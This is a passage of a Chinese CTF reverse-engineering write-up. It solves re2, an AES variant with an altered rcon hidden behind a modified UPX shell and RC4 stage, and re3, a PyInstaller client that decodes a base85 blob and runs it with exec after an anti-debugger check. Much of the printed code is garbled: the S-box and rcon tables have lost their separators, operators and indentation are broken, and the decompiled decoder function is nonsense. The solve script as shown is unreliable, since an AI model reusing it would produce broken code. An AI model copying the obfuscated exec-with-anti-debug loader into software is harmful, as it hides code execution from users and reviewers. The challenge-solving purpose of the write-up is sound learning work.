"e4da3b7fbbce2345d7772b0674a318d5",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf"    
]
rev ={}
for i in string.printable:
    rev[hashlib.md5(i.encode()).hexdigest()] = i
flag="".join([rev[i] for i in a])
print(flag)

运行得到 flag:dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

re2

upx 魔改壳,但是将 CTF 改回 UPX 依旧没法脱壳:

x64dbg 手脱,此处在 rsi 打下硬件断点:

找到这里的大跳:

步进 dump 下来即可:

进去找到一大段非常可疑的 base64 字符:

提取出来得到一个新的程序 download.exe

进入定位到sub_401A10函数:

进入sub_4018F0分析:

sub_4018B0中可以分析出是 rc4 初始化和解密:

动调可以知道,这里是在解密代码段,断点打在这里:

交叉引用定位到关键代码在sub_404EF3函数:

函数sub_404CB0是关键加密代码,分析之后可知是 aes-cbc 模式的加密, v12 是输入的 key,传入的参数分别是 key 和 iv,密文是底下 v13 的两个数。

提取出来之后,尝试在 cyberchef 中解密:

解密失败,重新分析代码可知,使用了经典的 aes 魔改,虽然没改 S 盒,但是改了 rcon 常数。

以及在函数sub_404940中可以看出,这个 aes 先做了轮密钥加,再做了列混淆:

exp 如下:

import binascii
SBOX = [0x630x7c0x770x7b0xf20x6b0x6f0xc50x300x010x670x2b0xfe0xd70xab0x760xca0x820xc90x7d0xfa0x590x470xf00xad0xd40xa20xaf0x9c0xa40x720xc00xb70xfd0x930x260x360x3f0xf70xcc0x340xa50xe50xf10x710xd80x310x150x040xc70x230xc30x180x960x050x9a0x070x120x800xe20xeb0x270xb20x750x090x830x2c0x1a0x1b0x6e0x5a0xa00x520x3b0xd60xb30x290xe30x2f0x840x530xd10x000xed0x200xfc0xb10x5b0x6a0xcb0xbe0x390x4a0x4c0x580xcf0xd00xef0xaa0xfb0x430x4d0x330x850x450xf90x020x7f0x500x3c0x9f0xa80x510xa30x400x8f0x920x9d0x380xf50xbc0xb60xda0x210x100xff0xf30xd20xcd0x0c0x130xec0x5f0x970x440x170xc40xa70x7e0x3d0x640x5d0x190x730x600x810x4f0xdc0x220x2a0x900x880x460xee0xb80x140xde0x5e0x0b0xdb0xe00x320x3a0x0a0x490x060x240x5c0xc20xd30xac0x620x910x950xe40x790xe70xc80x370x6d0x8d0xd50x4e0xa90x6c0x560xf40xea0x650x7a0xae0x080xba0x780x250x2e0x1c0xa60xb40xc60xe80xdd0x740x1f0x4b0xbd0x8b0x8a0x700x3e0xb50x660x480x030xf60x0e0x610x350x570xb90x860xc10x1d0x9e0xe10xf80x980x110x690xd90x8e0x940x9b0x1e0x870xe90xce0x550x280xdf0x8c0xa10x890x0d0xbf0xe60x420x680x410x990x2d0x0f0xb00x540xbb0x16]
INV_SBOX = [0x520x090x6a0xd50x300x360xa50x380xbf0x400xa30x9e0x810xf30xd70xfb0x7c0xe30x390x820x9b0x2f0xff0x870x340x8e0x430x440xc40xde0xe90xcb0x540x7b0x940x320xa60xc20x230x3d0xee0x4c0x950x0b0x420xfa0xc30x4e0x080x2e0xa10x660x280xd90x240xb20x760x5b0xa20x490x6d0x8b0xd10x250x720xf80xf60x640x860x680x980x160xd40xa40x5c0xcc0x5d0x650xb60x920x6c0x700x480x500xfd0xed0xb90xda0x5e0x150x460x570xa70x8d0x9d0x840x900xd80xab0x000x8c0xbc0xd30x0a0xf70xe40x580x050xb80xb30x450x060xd00x2c0x1e0x8f0xca0x3f0x0f0x020xc10xaf0xbd0x030x010x130x8a0x6b0x3a0x910x110x410x4f0x670xdc0xea0x970xf20xcf0xce0xf00xb40xe60x730x960xac0x740x220xe70xad0x350x850xe20xf90x370xe80x1c0x750xdf0x6e0x470xf10x1a0x710x1d0x290xc50x890x6f0xb70x620x0e0xaa0x180xbe0x1b0xfc0x560x3e0x4b0xc60xd20x790x200x9a0xdb0xc00xfe0x780xcd0x5a0xf40x1f0xdd0xa80x330x880x070xc70x310xb10x120x100x590x270x800xec0x5f0x600x510x7f0xa90x190xb50x4a0x0d0x2d0xe50x7a0x9f0x930xc90x9c0xef0xa00xe00x3b0x4d0xae0x2a0xf50xb00xc80xeb0xbb0x3c0x830x530x990x610x170x2b0x040x7e0xba0x770xd60x260xe10x690x140x630x550x210x0c0x7d]
key = "c23012ab39101833f8ed4e468da15d8d8cfbf0726899dc7c846e7ecf32bbdaf8"
iv = "aeba0dbbca267f9906ed7c70e38d8b11"
cipher = "9B5E1E8FD7C34362A23786C0CE3D3CF4C3B688FF3C9C13D2BB6F49CEFF59A25C36E4619E6061C3BB3F63AF003B3D8DA7"
def xtime(a: int) -> int:
    a <<1
if a & 0x100:
        a ^= 0x11B
return a & 0xFF
def mul(a: int, b: int) -> int:
    res = 0
while b:
if b & 1:
            res ^= a
        a = xtime(a)
        b >>= 1
return res
def xor_bytes(a, b):
return [x ^ y for x, y in zip(a, b)]
def inv_shift_rows(s):
return [
        s[0], s[13], s[10], s[7],
        s[4], s[1], s[14], s[11],
        s[8], s[5], s[2], s[15],
        s[12], s[9], s[6], s[3],
    ]
def inv_mix_columns(s):
out = s[:]
for c in range(4):
        i = 4 * c
        a0, a1, a2, a3 = s[i:i + 4]
out[i + 0] = mul(a0, 14) ^ mul(a1, 11) ^ mul(a2, 13) ^ mul(a3, 9)
out[i + 1] = mul(a0, 9) ^ mul(a1, 14) ^ mul(a2, 11) ^ mul(a3, 13)
out[i + 2] = mul(a0, 13) ^ mul(a1, 9) ^ mul(a2, 14) ^ mul(a3, 11)
out[i + 3] = mul(a0, 11) ^ mul(a1, 13) ^ mul(a2, 9) ^ mul(a3, 14)
return out
def key_expansion_256_custom(key_bytes, sbox, rcon):
    Nk = 8
    Nr = 14
    Nb = 4
    w = [list(key_bytes[i:i + 4]) for i in range(0324)]
    i = Nk
while len(w) < Nb * (Nr + 1):
        temp = w[-1][:]
if i % Nk == 0:
            temp = temp[1:] + temp[:1]         
            temp = [sbox[x] for x in temp]      
            temp[0] ^= rcon[(i // Nk) - 1]      
        elif i % Nk == 4:
            temp = [sbox[x] for x in temp]
        temp = [temp[j] ^ w[-Nk][j] for j in range(4)]
        w.append(temp)
        i +1
    round_keys = []
for r in range(Nr + 1):
        rk = []
for c in range(4): rk += w[4 * r + c]
        round_keys.append(rk)
return round_keys
def aes256_custom_decrypt_block(block16, round_keys, inv_sbox):
    s = block16[:]
    s = xor_bytes(s, round_keys[14])
    s = inv_shift_rows(s)
    s = [inv_sbox[x] for x in s]
for r in range(130-1):
        s = xor_bytes(s, round_keys[r])
        s = inv_mix_columns(s)
        s = inv_shift_rows(s)
        s = [inv_sbox[x] for x in s]
    s = xor_bytes(s, round_keys[0])
return s
def decrypt_all(key_hex, iv_hex, cipher_hex, sbox, inv_sbox, rcon):
    key = list(binascii.unhexlify(key_hex))
    iv = list(binascii.unhexlify(iv_hex))
if len(cipher_hex) % 32 !0:
        cipher_hex = cipher_hex[:(len(cipher_hex)//32)*32]
    ciphertext_bytes = binascii.unhexlify(cipher_hex)
    cipher_blocks = [list(ciphertext_bytes[i:i+16]) for i in range(0, len(ciphertext_bytes), 16)]
    round_keys = key_expansion_256_custom(key, sbox, rcon)
    plain = []
    prev = iv
for blk in cipher_blocks:
        dec = aes256_custom_decrypt_block(blk, round_keys, inv_sbox)
        pt = xor_bytes(dec, prev)
        plain.extend(pt)
        prev = blk
    plain_bytes = bytes(plain)
try:
        pad_len = plain_bytes[-1]
if 0 < pad_len <= 16:
            flag = plain_bytes[:-pad_len]
            print("解密结果:", flag.decode('utf-8', errors='ignore'))
else:
            print("Padding 异常,结果可能非标准字符串")
    except Exception as e:
        print("去除 Padding 失败:", e)
if __name__ == "__main__":
    rcon = [  0x9C0x100x130x150x190x010x310x510x910x0A
0x270x000x000x000x000x000x000x000x000x00
0x000x000x000x000x000x000x000x000x000x00
0x000x00]
    decrypt_all(key, iv, cipher, SBOX, INV_SBOX, rcon)

得到 flag :dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}

re3

发现 client 是一个 pyinstaller 打包的 exe,解包后,使用 pylingual 项目反汇编得到如下代码(用 pycdc 或其他工具反汇编会导致得不到 oe 函数逻辑,使用最新的项目虽然显示有误,但可以正确反汇编)。

import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins
def _oe(_d, _k1, _k2, _rn):
    # ***<module>._oe: FailureCompilationError
try:
        _b = base64.b85decode(_d.encode())
        _r = []
for _i, _x in enumerate(_b):
return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn),
            _r.append(_x, _k if _k else None)
        _s = bytes(_r).decode()
        _res = []
for _c in _s:
if _c.isalpha():
                _base = ord('A') if _c.isupper() else ord('a')
                _res.append((chr, ord(_c), _base, _rn, 26, _base))
            else:
if _c.isdigit():
                    _res.append(str(int(_c), _rn or 10))
                else:
                    _res.append(_c)
return ''.join(_res)
    except:
return _d
_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)
for _k in dir(builtins):
if not _k.startswith('_'):
        _globs[_k] = getattr(builtins, _k)
_globs['base64'] = base64
_globs['sys'] = sys
_globs['os'] = os
_globs['json'] = json
_globs['socket'] = socket
_globs['hashlib'] = hashlib
_globs['crypt_core'] = crypt_core
def _obf_check():
if hasattr(sys, 'gettrace'):
        _tr = sys.gettrace()
if _tr is not None:
return False
return True
def _obf_exec(_code):
    # ***<module>._obf_exec: Failure: Different bytecode
if not _obf_check():
return None
    else:
        exec(compile, _code, chr(60| chr(111| chr(98| chr(102| chr(101| chr(120| chr(99))
_1667 = 'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'
_obf_exec(base64.b85decode(_1667).decode())

使用如下脚本打印 base85 解密结果:

import base64
cipher=r'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYq